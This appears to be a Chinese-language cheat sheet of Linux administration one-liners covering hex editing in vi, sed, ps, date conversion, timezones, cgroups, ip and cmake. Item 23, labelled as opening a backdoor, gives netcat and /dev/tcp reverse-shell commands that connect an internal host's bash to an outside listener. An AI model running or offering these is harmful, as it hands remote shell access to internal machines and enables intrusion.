1、vi进行16进制编辑和替换
1 2 3 4 5 6 7 8 |
#进入16进制编辑模式 :%!xxd #替换(注意替换会将左边地址列也替换掉) :%s/c4e3//g #恢复文本模式 :%!xxd -r |
2、sed删除匹配行的时候不区分大小写,使用Id,精确匹配,添加\<\>
1 2 3 4 |
sed -i '/Database/Id' .dblist sed -i '/\<Database\>/Id' .dblist |
3、ps查看进程的精确启动时间
1 2 3 |
ps -eo pid,lstart,etime,cmd |
4、时间戳和格式化时间互转
1 2 3 4 |
date -d @1664500274 +"%Y-%m-%d %H:%M:%S" date -d "2022-09-30 09:11:14" +"%s" |
5、将秒为单位的时间差转化为时分秒格式
1 2 3 |
date -d@3611 -u +"%H:%M:%S" |
6、计算浮点数并获取指定长度的小数位
1 2 3 4 |
t_float="0.9812" echo "${t_float}*100" | bc | awk -F. '{print $1"."substr($2,1,2)}' |
7、解压rpm包
1 2 3 |
rpm2cpio mydumper-0.15.2-6.el7.x86_64.rpm | cpio -div |
8、使用sed将同文件中同个字符按照递增序列替换
1 2 3 4 5 6 7 8 9 10 11 12 13 |
idx=1 while : do grep tb_0 all_table_type.sql > /dev/null if [ $? -eq 0 ];then sed -i "0,/tb_0/s//tb_${idx}/" all_table_type.sql idx=$(($idx+1)) else break fi done |
9、strtime和uninxtime转化(python3)
datetime.datetime.fromtimestamp(1688437606).strftime('%Y-%m-%d %H:%M:%S')
time.mktime(datetime.datetime.strptime('1999-01-01 00:00:00','%Y-%m-%d %H:%M:%S').timetuple())
10、查看进程的具体启动时间
ps -p 123 -o lstart,etime,cmd
11、使用ssh远程nohup后台运行程序时需要给命令添加重定向才能起用
ssh root@192.168.1.10 "cd /data1; nohup tcpdump -i any -s 0 -w 123.pcap tcp port 123 or tcp port 124 > /dev/null 2>&1 &"
12、删除docker默认安装的网桥
brctl delbr docker0
13、检测两台linux主机的时间差
clockdiff 10.13.1.100
14、linux设置时区
timedatectl set-timezone Africa/Algiers
tzselect
timedatectl不加参数执行可以查看当前时区,tzselect可以用来查看可用时区的名称
15、查看线程
ps -T -p <pid>
top -H -p <pid>
16、查看僵尸进程
ps -A -ostat,ppid,pid,cmd |grep -e '^[Zz]'
17、Error: rpmdb open failed报错处理
cd /var/lib/rpm/
mv __db* /tmp/
rpm –rebuilddb
yum clean all
18、ssh不校验本地know_hosts
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p端口 用户名@主机IP
19、修改密码永不过期
chage -l mysql
chage -M 99999 mysql
20、core配置
mkdir /data/coredump && chmod 777 /data/coredump
echo '/data/coredump/core-%e-%t-%p' > /proc/sys/kernel/core_pattern
echo "1" > /proc/sys/kernel/core_uses_pid
echo 'ulimit -c unlimited' >> /etc/profile
echo '* - core unlimited' >> /etc/security/limits.conf
21、将某个进程的top信息记录到文件
top -n 10 -b -H -p 20196 >> top.20196.log
22、修改用户密码提示"BAD PASSWORD: The password contains the user name in some form"
root用户执行
echo "username:password" | chpasswd
(其中username是要修改的用户名,password是新密码)
23、通过nc开启后门
客户端(公网)
nc -l -p 9999
服务端(内网)
nc 公网ip 9999 -e /bin/bash
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
24、nmap测试ssl安全性
nmap 10.2.221.19 -p 8080 -vv --script sshv1,ssl-ccs-injection,ssl-cert,ssl-date,ssl-dh-params,ssl-enum-ciphers,ssl-heartbleed,ssl-known-key,ssl2
25、cgroup限制资源使用
cgcreate -g memory:zz
cgset -r memory.limit_in_bytes=5000 /zz
cgexec -g memory:zz ls
cgdelete -g mem:zz
26、ip命令设置地址
ip addr add 10.20.0.15/24 dev eth1
ip addr del 10.20.0.15/24 dev eth1
ip link set dev eth1 up
ip link set dev eth1 down
ip route
27、cmake便衣release/debug模式
cmake .. -DCMAKE_BUILD_TYPE=Debug
cmake .. -DCMAKE_BUILD_TYPE=Release